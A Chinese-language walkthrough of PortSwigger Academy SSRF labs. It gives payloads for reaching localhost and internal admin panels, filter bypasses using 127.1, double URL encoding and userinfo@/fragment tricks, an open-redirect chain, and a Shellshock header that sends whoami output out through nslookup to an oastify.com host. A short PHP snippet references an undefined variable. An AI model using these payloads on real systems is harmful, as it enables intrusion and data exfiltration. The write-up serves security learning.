-

SSRF

Lab: Basic SSRF against the local server

​ This lab has a stock check feature which fetches data from an internal system.

​ To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos.

查看检查库存的流量包

1
2
3
4
POST /product/stock HTTP/2
Host: 0a5900c503624157848b63cd005f004b.web-security-academy.net

stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1

也就是说 0a5900c503624157848b63cd005f004b.web-security-academy.nethttp%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1 发送请求,正好 stockApi 我们可以控制,我们可以利用这一点让

academy.net 自己给自己发送请求来请求一些客户端没有权限访问的资源

1
2
stockApi=http%3A%2F%2F127.0.0.1/admin
stockApi=http%3A%2F%2F127.0.0.1/admin/delete?username=carlos

Lab: Basic SSRF against another back-end system

​ This lab has a stock check feature which fetches data from an internal system.

​ To solve the lab, use the stock check functionality to scan the internal 192.168.0.X range for an admin interface on port 8080, then use it to delete the user carlos.

初始

1
stockApi=http%3A%2F%2F192.168.0.1%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1

爆破内网其他主机

1
stockApi=http%3A%2F%2F192.168.0.225:8080/admin

Lab: SSRF with blacklist-based input filter

​ This lab has a stock check feature which fetches data from an internal system.

​ To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos.

​ The developer has deployed two weak anti-SSRF defenses that you will need to bypass.

stockApi参数 http://127.0.0.1/并观察到因为某些安全原因该请求已被阻止,加了 waf

1
http://127.1/

这样能绕过,但是 admin 也被 waf 拦掉了,结合初始的参数我们可以发现发到后端前会被 url 编码一遍,说明后端拿到参数值之后会进行 url 解码,我们可以把 admin 也 url 编码

1
stockApi=http://127.1/%61dmin

可是这样还是被 waf 拦截了,再对 %61 url 编码一次

1
stockApi=http://127.1/%2561dmin

成功绕过了,所以我猜测在参数值进入 waf 前会 url 解码一次,那为什么服务器又能两次解码了,我觉得这问题很复杂有多种可能可能服务器是递归解码,可能nginx或者apache这些中间件也会url解码,反向代理或网关在转发时对 URI 解码。。。。。给我的启示就是一次url编码不能绕过的话可以多试几次,万一绕过了呢。

还有可以大写绕过

1
stockApi=http://127.1/Admin

Lab: SSRF with whitelist-based input filter

​ This lab has a stock check feature which fetches data from an internal system.

​ To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos.

​ The developer has deployed an anti-SSRF defense you will need to bypass.

1
stockApi=http://localhost

返回

1
"External stock check host must be stock.weliketoshop.net"

要求主机名是 stock.weliketoshop.net,加了白名单校验。

1
stockApi=http://stock.weliketoshop.net

爆了500错误,但是waf没有拦截。我们可以利用后端校验库请求库代码不同来绕过

在标准的 URI/URL 语法中,一个典型的 URL 如下:

1
2
scheme://[userinfo@]host[:port]/path?query#fragment
其中 userinfo 就是可选的 “用户名(user)” 和 “密码(pass)” 部分。这个 userinfo@ 放在 host 前面。 

比如我们这样写

1
stockApi=http://127.0.0.1@stock.weliketoshop.net

按照标准 URL 语法,这里 “127.0.0.1” 会被解析为用户名(userinfo),而非 host, 所以waf的视角里主机名还是 stock.weliketoshop.net,所以这个域名被正常发往后段业务代码进行处理

但是业务里127.0.0.1@stock.weliketoshop.net这个资源并不存在,所以返回500错误,

答案是,为什么呢?

1
http://127.0.0.1%2523@stock.weliketoshop.net
  • %25 是 % 的编码,所以 %2523 解码一次会变成 %23,再解码会变成 #

  • 在过滤检查阶段,校验库(用于校验过滤):可能对 URL 解码一次或根本不解码 %25…,也可能在解析 userinfo@host 时把左边当作 host 或忽略 userinfo,过滤器看到的可能是 127.0.0.1%2523@stock.weliketoshop.net 或者 127.0.0.1%23@stock.weliketoshop.net,所以过滤器也就是 waf 觉得这个主机没问题

  • 于是过滤器把值传递给了请求库,准备对 url 发起请求,假如请求库实际解码两次

    1
    http://127.0.0.1%2523@stock.weliketoshop.net => http://127.0.0.1#@stock.weliketoshop.net

    那么 # 号就暴露出来了,# 又是何方神圣呢

    在 URL 中,# 之后的部分叫做“片段标识符”(fragment identifier)。根据 URI 标准和浏览器/HTTP 协议的定义,这部分 不会被发送到服务器,而是留给客户端(浏览器或用户代理)处理

    所以请求库就舍弃了 #@stock.weliketoshop.net,只发送了 http://127.0.0.1

path /admin 只能放最后了,放在 127.0.0.1 后面会被校验库拦下来,因为有 / 符号,@符号就不起作用了。为什么 /admin 没有随着 # 一起舍弃呢?# 的语义在标准(RFC 3986)里确实是 fragment 开始符号,但

  • RFC 3986 只规定了语法;
  • 各语言、各 HTTP 客户端、各框架在实现时,对“非法位置”的字符容忍度不一样

也就是说可能 /admin 被某种语言的某种库解析为 path 了,不丢了。

1
stockApi=http://127.0.0.1%2523@stock.weliketoshop.net/admin

在本地用 php parse_url 函数模拟了一下

1
2
3
4
5
6
$url = "http://127.0.0.1%2523@stock.weliketoshop.net/admin";
echo "---- parse_url 解码两次 ----\n";
echo '</br>';
print_r(parse_url($twice));
echo "\n";
echo '</br>';

输出

1
2
---- parse_url 解码两次 ----
Array ( [scheme] => http [host] => 127.0.0.1 [fragment] => @stock.weliketoshop.net/admin )

直接全部舍弃了,说明这个 PHP 版本 / parse_url() 实现 在「二次解码后」把 # 真正识别成了 fragment 起点,从而导致行为发生了变化

所以平日里还是要随机应变,具体漏洞具体分析,不能生搬硬套

Lab: SSRF with filter bypass via open redirection vulnerability

​ This lab has a stock check feature which fetches data from an internal system.

​ To solve the lab, change the stock check URL to access the admin interface at http://192.168.0.12:8080/admin and delete the user carlos.

​ The stock checker has been restricted to only access the local application, so you will need to find an open redirect affecting the application first.

1
stockApi=%2Fproduct%2Fstock%2Fcheck%3FproductId%3D2%26storeId%3D1

现在参数被限制死了,只能发送 api 请求,不能改主机了,我们注意到有个下一页功能

1
GET /product/nextProduct?currentProductId=1&path=/product?productId=2

尝试把这个接口放在 stockApi 上,& 要 url 编码

1
stockApi=/product/nextProduct?currentProductId=1%26path=/product?productId=3

成功触发跳转功能,修改为内网资产

1
stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin/delete?username=carlos

Lab: Blind SSRF with out-of-band detection

​ This site uses analytics software which fetches the URL specified in the Referer header when a product page is loaded.

​ To solve the lab, use this functionality to cause an HTTP request to the public Burp Collaborator server.

服务器会获取 refer 头的值并且发起 http 请求

Lab: Blind SSRF with Shellshock exploitation

​ This site uses analytics software which fetches the URL specified in the Referer header when a product page is loaded.

​ To solve the lab, use this functionality to perform a blind SSRF attack against an internal server in the 192.168.0.X range on port 8080. In the blind attack, use a Shellshock payload against the internal server to exfiltrate the name of the OS user.

shellshock 漏洞的payload :

1
() { :; }; <command>
1
2
User-Agent: () { :; }; /usr/bin/nslookup $(whoami).0wxq7isuwwzu2j9g10ahzif23t9kxalz.oastify.com
Referer: http://192.168.0.$1$:8080
  • Web 服务器在处理请求时,会将 HTTP 头(如 User-Agent)转化为环境变量(例如 HTTP_USER_AGENT)传递给 CGI 脚本或 shell
  • User-Agent里的 => /usr/bin/nslookup $(whoami).0wxq7isuwwzu2j9g10ahzif23t9kxalz.oastify.com 是后续命令,意图让服务器执行 whoami 得到用户名,然后将其拼入一个子域名(如 username.0wxq7isuwwzu2j9g10ahzif23t9kxalz.oastify.com)进行 DNS 查询,命令中的 nslookup + 子域名构造是一种“带外回连”的方式:服务器执行后会向攻击者控制的 DNS 域名发送查询,通过观察 DNS 请求记录攻击者能得知命令是否被执行。
  • Referer 指向内网地址,诱导服务器去访问该内网资源